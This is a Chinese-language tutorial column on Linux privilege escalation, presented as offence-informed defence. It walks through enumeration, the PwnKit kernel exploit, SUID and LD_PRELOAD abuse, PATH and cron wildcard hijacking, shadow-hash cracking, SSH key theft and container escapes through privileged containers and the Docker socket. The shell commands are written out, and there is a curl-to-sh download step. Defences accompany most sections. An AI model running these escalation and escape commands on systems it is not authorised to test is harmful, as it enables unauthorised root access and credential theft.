1. 项目概述为什么2025年我们依然要深入Linux提权如果你是一名渗透测试工程师、红队成员或者是一名对系统安全有浓厚兴趣的运维、开发人员那么“提权”这个词对你来说一定不陌生。它就像一把双刃剑在攻击者手中是打开系统最高权限大门的钥匙而在防御者手中则是检验自身防线坚固程度的试金石。2025年的今天尽管云原生、容器化、零信任架构等概念大行其道但Linux系统作为服务器和云基础设施的绝对主力其内核安全、配置安全、应用安全依然是攻防对抗的核心战场。一个配置不当的SUID程序、一个未及时修补的内核漏洞、一段脆弱的定时任务脚本都可能成为从普通用户跃升为root用户的致命跳板。我写这个专栏不是为了教人如何作恶恰恰相反是为了“以攻促防”。只有透彻理解攻击者是如何一步步撬开系统权限枷锁的你才能在设计架构、编写代码、配置系统时真正地堵上那些看似微不足道、实则隐患无穷的安全缺口。本专栏将摒弃那些零散、过时的技巧堆砌致力于为你构建一个系统化、层次清晰、紧跟2025年最新攻防态势的Linux提权知识体系。我们将从最基础的信息收集开始逐步深入到内核漏洞利用、服务配置滥用、密码与凭证攻击、sudo权限滥用、计划任务与服务漏洞、文件权限与SUID/GUID程序、环境变量劫持、容器逃逸等核心领域并结合大量实战案例和自动化工具让你不仅能看懂更能亲手复现和防御。2. 提权前的基石系统性信息收集与枚举在尝试任何提权操作之前盲目行动是最低效且最易被察觉的行为。专业的安全测试始于周密的信息收集。你需要像一位侦探细致地勘察“犯罪现场”——也就是你当前受限的用户环境寻找一切可能指向更高权限的线索。2.1 系统与内核信息探查了解目标系统的整体概况是第一步。这能帮你快速判断系统的“年龄”和可能存在的已知漏洞。系统版本与内核信息# 查看系统发行版信息 cat /etc/*-release uname -a # 查看内核版本及架构 uname -r uname -m这些命令的输出能告诉你这是Ubuntu 22.04还是CentOS 7内核是5.x还是更老的3.x版本。老版本系统往往对应着更多已公开的提权漏洞。环境变量与路径# 查看当前用户的环境变量 env # 查看PATH变量特别注意是否有当前用户可写的目录 echo $PATHPATH环境变量中如果包含当前用户可写的目录如/tmp、/dev/shm或用户家目录下的某个bin文件夹就可能为后续的路径劫持提权创造条件。2.2 用户、组与权限深度枚举权限的核心在于用户和组。你需要清晰地知道“我是谁”、“我能以谁的身份运行命令”。当前用户与特权用户# 当前用户信息 id whoami # 查看系统中有哪些用户特别是uid为0的root用户和其他高权限用户 cat /etc/passwd # 查看哪些用户有sudo权限 sudo -lsudo -l命令至关重要。如果当前用户被授予了无需密码即可以root身份运行特定命令的权限例如(ALL) NOPASSWD: /usr/bin/vim那么提权可能在一瞬间完成。历史命令与敏感文件# 查看当前用户的命令历史 history # 查找包含密码、密钥的配置文件 find / -name “*.php” -type f -exec grep -l “password” {} \; 2/dev/null find /home -name “*.txt” -o -name “*.sql” -o -name “*.bak” 2/dev/null命令历史中可能包含其他用户甚至是root误操作留下的密码。各种Web配置文件、数据库备份文件里也可能硬编码着访问凭证。2.3 进程、服务与网络状态分析运行中的进程和服务是系统的动态体现也是常见的提权入口。进程与服务枚举# 查看以root身份运行的非系统关键进程 ps aux | grep root | grep -v “\[“ | head -20 # 查看系统启动的服务 systemctl list-units --typeservice --staterunning # 对于旧系统 service --status-all寻找那些以root权限运行但配置文件或二进制文件当前用户可修改的服务。例如一个Web服务以root运行但其配置文件/etc/myapp/config.conf对当前用户可写那么修改配置文件并重启服务就可能执行任意代码。网络与开放端口# 查看本地监听端口及对应进程 netstat -tulpn ss -tulpn # 检查是否有服务只绑定在127.0.0.1但可以从内部进行利用内部服务如数据库、缓存、管理面板如果配置不当如弱密码、未授权访问可能成为进一步横向移动或获取敏感信息的跳板。2.4 自动化枚举工具的使用手动枚举虽然全面但效率较低。在实际渗透测试中我们通常会借助自动化脚本进行初步扫描。最著名的工具是LinEnum和LinPEAS。LinPEAS这是目前功能最强大的Linux本地枚举脚本之一。它颜色高亮显示高危发现检查范围极广。# 下载并运行LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者如果无法直接下载先传到目标机器再执行 ./linpeas.shLinPEAS会自动化执行我们上面提到的几乎所有手动检查并以非常直观的方式输出结果将潜在的攻击路径如可写的服务文件、危险的sudo权限、内核漏洞标记出来极大提升了信息收集的效率。注意自动化工具动静较大容易被入侵检测系统IDS/HIDS发现。在高度敏感的环境中建议优先使用手动命令进行低噪音枚举。3. 内核漏洞利用从CVE到Root Shell内核是操作系统的核心拥有最高权限。内核中的漏洞CVE一旦被利用通常可以直接获得root权限。这是最“经典”也最有效的提权方式之一。3.1 内核漏洞利用的基本流程信息收集首先使用uname -a确定内核版本和发行版。漏洞匹配根据内核版本搜索公开的漏洞利用代码Exploit。资源包括Exploit-DB、GitHub、安全研究人员的博客。环境准备检查目标系统是否具备漏洞利用所需的编译环境gcc,make和依赖库。编译与执行将Exploit代码上传到目标机器编译并运行。稳定性考量很多内核Exploit可能导致系统崩溃内核恐慌。需要评估测试环境的容忍度。3.2 经典内核漏洞案例解析2025年视角虽然老漏洞依然存在于未更新的系统中但我们需要关注较新的漏洞。这里以CVE-2021-4034 (PwnKit)为例因为它影响范围极广且利用极其稳定。漏洞原理Polkit原名PolicyKit是Linux系统中用于控制非特权进程与特权进程通信的组件。其pkexec工具中存在一个本地权限提升漏洞源于环境变量处理不当GLibc库中argc为0时的边界错误导致攻击者可以诱使pkexec执行任意代码。影响范围2009年5月至今的所有pkexec版本几乎所有主流发行版默认安装。利用特征无需编译通常是一个独立的C程序利用成功率接近100%且不会导致系统崩溃。利用步骤将公开的PwnKit exploit代码如cve-2021-4034.c上传到目标服务器。直接使用gcc编译gcc cve-2021-4034.c -o pwnkit运行./pwnkit。成功后会直接打开一个root shell。防御措施及时更新系统补丁。对于无法立即更新的系统可以移除pkexec的SUID位作为临时缓解chmod 0755 /usr/bin/pkexec。3.3 利用自动化工具搜索漏洞手动搜索匹配漏洞效率低。我们可以使用像Linux Exploit Suggester这样的工具。# 下载并运行Linux Exploit Suggester wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh chmod x les.sh ./les.sh这个脚本会根据当前系统的内核版本自动从互联网数据库匹配可能适用的本地提权漏洞并给出CVE编号和利用代码的获取途径是实战中的利器。实操心得内核漏洞利用虽然强大但存在两大风险。一是系统稳定性风险劣质的exploit极易导致内核崩溃在真实生产环境测试需极其谨慎。二是检测风险利用内核漏洞的行为如加载特定内核模块、调用非常用系统调用容易被高级安全软件如EDR捕获。因此它常作为“最后一击”的手段在获取足够信息且其他方法无效时使用。4. 滥用SUID/GUID与文件权限SUIDSet User ID和SGIDSet Group ID是Linux文件权限中的特殊标志位。当具有SUID位的可执行文件被运行时它会以文件所有者的权限执行而不是执行者的权限。如果这个文件的所有者是root且程序本身存在漏洞或配置不当就可能被用来提权。4.1 发现危险的SUID/GUID文件第一步是找到所有设置了SUID/SGID位的文件。# 查找所有SUID文件 find / -perm -4000 -type f 2/dev/null # 查找所有SGID文件 find / -perm -2000 -type f 2/dev/null # 查找所有SUID或SGID文件 find / -perm -us -o -perm -gs -type f 2/dev/null常见的、本应具有SUID位的系统二进制文件包括/bin/passwd,/bin/su,/usr/bin/sudo。我们需要关注的是那些不常见的、或者功能强大的命令。4.2 经典SUID提权案例案例一利用find命令find命令如果被设置了SUID位并且属于root我们可以利用它的-exec参数执行任意命令。# 假设发现 /usr/bin/find 有SUID位且属主为root /usr/bin/find . -exec /bin/sh \; -quit执行后会直接获得一个root shell。防御措施很简单确保find等不应具有SUID位的工具没有被错误设置。案例二利用vim/vi或编辑器如果vim、vi、nano等编辑器具有SUID root权限可以在其中通过调用shell来提权。# 在vim中 :!sh 或者 :set shell/bin/sh :shell同样确保编辑器没有不必要的SUID位。案例三利用共享对象SO注入这是一种更高级的技巧。某些SUID程序在运行时会动态加载共享库.so文件。如果我们可以控制环境变量如LD_PRELOAD,LD_LIBRARY_PATH或者程序在当前目录搜索库文件就可能注入恶意的共享库。编写一个恶意的C库在_init()函数中执行setuid(0); system(“/bin/sh”);。编译成共享库gcc -fPIC -shared -o evil.so evil.c通过控制环境变量让SUID程序加载我们的evil.so。LD_PRELOAD./evil.so /path/to/suid_program这种方法需要对目标程序的行为有一定了解。4.3 防御SUID/GUID滥用原则遵循最小权限原则。除非绝对必要否则不要给任何文件设置SUID/SGID位。审计定期使用上述find命令审查系统内的SUID/SGID文件与干净的系统快照进行对比。加固使用chmod u-s /path/to/file和chmod g-s /path/to/file移除不必要的特殊权限位。文件系统限制对于不可变文件可以使用chattr i /path/to/file防止被修改包括权限位。但要注意这可能会影响正常系统更新。5. 环境变量与路径劫持Linux中很多程序的行为依赖于环境变量。错误的环境变量配置可能被利用来提权尤其是当与SUID程序或sudo权限结合时。5.1 PATH环境变量劫持这是最常见的环境变量攻击之一。如果一个SUID程序或者一个sudo允许的命令在代码中使用了类似system(“ls”)或popen(“ls”, “r”)的调用即不指定命令的绝对路径那么系统会在PATH环境变量指定的目录中寻找名为ls的可执行文件。攻击场景假设我们通过sudo -l发现可以无密码运行/usr/sbin/service apache2 restart。查看service脚本通常是一个Shell脚本发现其中可能调用了start-stop-daemon或其他未使用绝对路径的命令。我们将当前目录.或一个我们可写的目录如/tmp添加到PATH的最前面export PATH/tmp:$PATH。在/tmp目录下创建一个名为start-stop-daemon的恶意脚本内容为/bin/bash。执行sudo /usr/sbin/service apache2 restart。service脚本会在PATH中寻找start-stop-daemon首先找到我们创建的恶意脚本并以root权限执行从而获得root shell。防御措施在编写脚本或程序时永远使用绝对路径来调用系统命令。在sudo配置中可以通过secure_path指令来固定sudo执行时的PATH环境变量忽略用户设置的PATH。5.2 LD_PRELOAD与LD_LIBRARY_PATH劫持这两个环境变量用于控制动态链接器加载共享库的顺序。LD_PRELOAD指定一个共享库文件该库会在其他所有库之前被加载。LD_LIBRARY_PATH指定搜索共享库的额外路径。如果SUID程序允许用户控制这些环境变量现代Linux系统出于安全考虑默认会忽略SUID程序中的这些变量但并非所有程序都受到保护就可以实现共享库注入攻击如前文SUID部分所述。检查是否受保护可以通过一个简单的SUID测试程序来检查。// test.c #include stdio.h #include stdlib.h int main() { system(“ls”); return 0; }编译并设置SUIDgcc test.c -o test_suid sudo chown root:root test_suid sudo chmod us test_suid。 然后尝试LD_PRELOAD./evil.so ./test_suid。如果ls命令被劫持说明环境变量生效存在风险。5.3 Sudo环境变量继承默认情况下sudo会重置大部分环境变量提供一个干净的环境。但可以通过sudo的配置文件/etc/sudoers使用env_keep选项来允许特定环境变量被继承。攻击场景如果管理员配置了Defaults env_keep “LD_PRELOAD”那么用户就可以在sudo时注入自己的共享库。利用方法编写恶意共享库evil.so。export LD_PRELOAD/path/to/evil.so执行任何允许的sudo命令恶意库会被加载。防御措施在/etc/sudoers中除非绝对必要否则不要使用env_keep来保留敏感的环境变量尤其是LD_*系列变量。6. 计划任务Cron Jobs与服务漏洞利用系统自动执行的任务Cron和后台服务Services通常以高权限如root运行。如果这些任务的脚本、二进制文件或它们的依赖项存在权限配置问题就可能被利用。6.1 Cron Jobs提权Cron任务定义在/etc/crontab文件以及/etc/cron.d/、/var/spool/cron/crontabs/等目录中。攻击面一可写的Cron脚本检查所有Cron任务执行的脚本或命令cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ ls -la /var/spool/cron/crontabs/ 2/dev/null如果发现某个以root身份周期性执行的脚本例如/opt/scripts/backup.sh并且当前用户对这个脚本有写权限那么直接修改这个脚本加入反向shell或添加用户等命令等待Cron执行即可获得root权限。攻击面二通配符滥用在某些Cron脚本中可能会使用tar、chown、rsync等命令并搭配通配符*。如果参数顺序不当可能被利用。示例一个备份脚本tar -cf /backups/backup.tar *。如果当前目录下有用户可控的文件例如一个名为--checkpoint1和--checkpoint-actionexecsh shell.sh的文件tar会将这些文件名解析为命令行参数从而执行shell.sh。如果这个Cron以root运行shell脚本就会以root执行。防御在脚本中使用通配符时务必在参数前加上--以示结束如tar -cf /backups/backup.tar -- *。6.2 系统服务Systemd漏洞利用现代Linux发行版普遍使用systemd来管理服务。服务单元文件.service通常位于/etc/systemd/system/或/lib/systemd/system/。攻击面可写的服务单元文件查找所有systemd服务systemctl list-units --typeservice --staterunning查看某个服务的具体配置systemctl cat servicename检查服务单元文件的权限ls -la /etc/systemd/system/servicename.service如果当前用户对某个以root运行的服务单元文件有写权限就可以修改其ExecStart、ExecStartPre、ExecStartPost等指令指向恶意命令然后重启服务systemctl restart servicename或等待系统重启。攻击面服务配置文件或依赖项可写有时服务本身不可写但它加载的配置文件如通过EnvironmentFile指令或工作目录WorkingDirectory可写。通过修改配置文件注入命令或者在工作目录放置恶意动态库进行劫持也可能达到提权目的。注意事项修改Cron或Systemd服务文件是破坏性操作会直接影响系统稳定性并极易被日志记录如/var/log/cron、journalctl。在真实渗透测试中需权衡利弊并做好清理痕迹的准备。自动化枚举工具如LinPEAS会高亮标记出可写的Cron脚本和服务文件这是需要优先检查的高危点。7. 密码与凭证攻击从哈希到Shell如果能够获取到系统的密码哈希或者找到存储的明文密码、密钥文件就有可能通过破解或直接使用来提权。7.1 /etc/shadow哈希提取与破解Linux系统的用户密码哈希存储在/etc/shadow文件中普通用户无读取权限。但可以通过多种方式获取其内容内核漏洞如前所述某些内核漏洞可以绕过权限直接读取任意文件。错误配置/etc/shadow文件被错误地设置了可读权限极少见。从备份中获取查找系统备份文件如/etc/shadow.bak,/home/user/backup/shadow.tar.gz等。通过可读的数据库/日志文件间接获取某些应用漏洞可能导致shadow文件内容被泄露到日志或数据库中。获取到哈希后可以使用john(John the Ripper) 或hashcat进行破解。# 使用john破解shadow文件需要将/etc/passwd和/etc/shadow合并 unshadow /etc/passwd /etc/shadow hashes.txt john --wordlist/usr/share/wordlists/rockyou.txt hashes.txt # 使用hashcat hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt-m 1800指定了SHA-512crypt (Unix) 哈希类型这是现代Linux系统默认的密码哈希算法。7.2 内存中的密码与敏感信息有时密码并非存储在磁盘上而是存在于进程的内存中。从进程内存转储中搜索可以使用grep配合/proc/[pid]/mem需要权限或工具如strings对系统内存进行搜索。# 尝试从所有进程的命令行参数中寻找密码需要root ps aux | grep -E ‘pass|pwd|secret|key’ 2/dev/null # 如果获取了root权限可以转储内存进行深度分析利用核心转储如果某个以高权限运行的服务如数据库崩溃并生成了核心转储文件core dump而这个文件当前用户可读那么其中可能包含敏感信息。可以在系统中搜索core或*.core文件。7.3 SSH密钥利用如果获取了root用户或其他高权限用户的私钥id_rsa,id_dsa等可以直接通过SSH登录。寻找密钥文件find / -name “id_rsa” -o -name “id_dsa” -o -name “*.pem” 2/dev/null find /home -name “.ssh” -type d 2/dev/null利用将找到的私钥文件下载到本地使用ssh -i private_key usertarget_ip进行连接。注意私钥文件通常有严格的权限600如果权限太开放SSH客户端会拒绝使用。** authorized_keys**检查~/.ssh/authorized_keys文件。如果当前用户可写可以直接将自己的公钥追加进去实现免密登录。8. 容器环境下的提权与逃逸随着云原生的发展容器Docker, containerd已成为常态。容器内的提权Container Escape是2025年必须掌握的高级技能。8.1 容器内信息收集首先判断自己是否在容器中以及容器的配置情况。# 检查 /.dockerenv 文件或 /proc/1/cgroup ls -la /.dockerenv cat /proc/1/cgroup | grep -i docker || cat /proc/1/cgroup | grep -i kubepods # 检查可用能力Capabilities cat /proc/self/status | grep CapEff # 或者使用 capsh 工具 capsh --print # 检查挂载的卷 mount df -h8.2 常见的容器逃逸路径特权容器Privileged Container如果容器以--privileged标志运行它几乎拥有宿主机的所有能力。可以通过在容器内挂载宿主机根文件系统来逃逸。# 在特权容器内 mkdir /host mount /dev/sda1 /host # 需要先fdisk -l确定设备 # 现在可以访问 /host/etc/shadow, /host/root/.ssh 等 chroot /host /bin/bash # 切换到宿主机根环境滥用Docker Socket挂载如果容器内挂载了宿主机的Docker Socket文件/var/run/docker.sock就可以在容器内直接与宿主机的Docker守护进程通信从而在宿主机上运行新的特权容器。# 在容器内安装docker客户端或使用curl与API交互 # 方式一使用docker命令如果已安装 docker -H unix:///var/run/docker.sock run -it --rm -v /:/host ubuntu chroot /host bash # 方式二使用curl调用Docker API # 创建一个挂载了宿主机根目录的新容器 curl -XPOST --unix-socket /var/run/docker.sock -H “Content-Type: application/json” -d ‘{“Image”:”alpine”, “Cmd”:[“/bin/sh”], “HostConfig”:{“Binds”:[“/:/host”]}}’ http://localhost/containers/create?nameescape curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/escape/start # 然后通过exec进入这个容器即可访问宿主机文件系统滥用内核漏洞容器与宿主机共享内核。因此宿主机的内核漏洞同样会影响容器。在容器内利用内核漏洞提权获得的是宿主机内核的root权限从而实现逃逸。前面提到的内核漏洞利用方法在容器内同样适用。滥用SYS_ADMIN等危险能力即使不是特权容器如果被授予了SYS_ADMIN能力也可能通过挂载cgroup设备等方式进行逃逸例如著名的cgroup release_agent逃逸技术。实操心得容器逃逸的本质是突破“命名空间”和“控制组cgroup”的隔离。在实战中自动化工具如CDK (Container DucK)非常有用。它是一款针对容器环境的渗透工具包内置了多种信息收集和逃逸检测模块能快速识别潜在的逃逸路径。在获得容器内shell后可以尝试上传并运行CDK进行自动化评估。防御容器逃逸需要严格遵循最小权限原则避免使用特权容器、限制不必要的能力、只挂载必需的卷、及时更新宿主内核和容器运行时。